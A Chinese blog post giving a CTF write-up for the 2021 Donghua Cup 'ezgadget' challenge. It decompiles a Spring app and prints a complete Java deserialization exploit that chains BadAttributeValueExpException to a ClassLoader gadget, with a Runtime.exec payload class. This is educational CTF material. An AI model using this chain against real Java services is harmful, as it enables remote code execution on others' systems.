东华杯2021 ezgadget

386 阅读3分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第23天,点击查看活动详情

环境配置

链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 
提取码:8do5

运行

java -jar ezgadget.jar

访问127.0.0.1:8888即可

是一个jar包,所以都是class文件,我这里是通过jd-gui,反编译源码,之后放到IDEA的maven项目中,再将文件中的lib包导入进去

File->Project Structrue->Libraries

image-20220606172009973

复现

其实主要的文件就三个IndexController.javaTools.javaToStringBean.java

ToStringBean.java

package com.ezgame.ctf.tools;
​
import java.io.Serializable;
​
public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;
​
    public String toString() {
        com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;
        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return "enjoy it.";
    }
}

该类继承了ClassLoader,所以直接可以想到动态加载字节码,并且在toString()方法中,看到了defineClass(),之后try中又有个newInstance(),所以只要控制ClassByte的值,就可以任意代码执行。(defineClass直接加载字节码之前分析过不清楚可以看一下)

这里的ClassByte值就是我们需要执行命令的字节码文件,先构造一下。(Windows环境无法反弹shell,所以用calc代替了)

Payload.java

package com.ezgame.ctf;
​
import java.io.IOException;
​
public class Payload {
    static {
        try{
            Runtime.getRuntime().exec(new String[]{"calc"});
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

执行命令生成.class文件

javac Payload.java

写好后这部分的构造代码为:

        byte[] bytes= Files.readAllBytes(Paths.get("D:\java\CTF\DongHuaBei\src\main\java\com\ezgame\ctf\Payload.class"));
​
        ToStringBean toStringBean = new ToStringBean();
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,bytes);

接着看控制器IndexController.java

package com.ezgame.ctf.controller;
​
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
​
@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping({"/"})
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return "index";
    }
​
    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021)
            objectInputStream.readObject();
        return "welcome bro.";
    }
}

当路由为/readobject时,传参data,就会调用Tools类对其进行base64解密,之后字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,进行if判断name.equals("gadgets") && year == 2021,之后调用objectInputStream.readObject();,而在CC5中BadAttributeValueExpException类中重写了readObject(),可以调用toString()

类中通过构造方法修改val的值,在通过 gf.get("val", null);传给valobj,最后在readObject里调用valObj.toString();

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }
​
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);
​
    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

所以构造这里需要构造val的值,为toStringBean,这样就能调用到他的toString()中,这里需注意不能在实例化BadAttributeValueExpException时,直接把把值赋给val否则在readObject()前就会执行toString,反序列化就无效了

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Sentiment");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

之后就是前边那段if判断了

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);

Tools.java

package com.ezgame.ctf.tools;
​
​
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
​
public class Tools {
    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }
​
    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }
​
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
​
    public static Object deserialize(byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

最后调用Tools中的base64Encode进行个base64编码即可

byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);

POC

package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
​
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
​
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
​
import static com.ezgame.ctf.tools.Tools.base64Encode;
​
public class Exp {
    public static void main(String[] args) throws Exception{
        byte[] bytes= Files.readAllBytes(Paths.get("D:\java\CTF\DongHuaBei\src\main\java\com\ezgame\ctf\Payload.class"));
​
        ToStringBean toStringBean = new ToStringBean();
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,bytes);
​
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Sentiment");
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);
​
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);
​
        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        String s = base64Encode(bytes1);
        System.out.println(s);
​
    }
}

最后传参时有个注意点,base编码后是存在加号的,而浏览器会将加号转义为空格,造成一些解析问题,所以传参前需要进行url编码

传参执行成功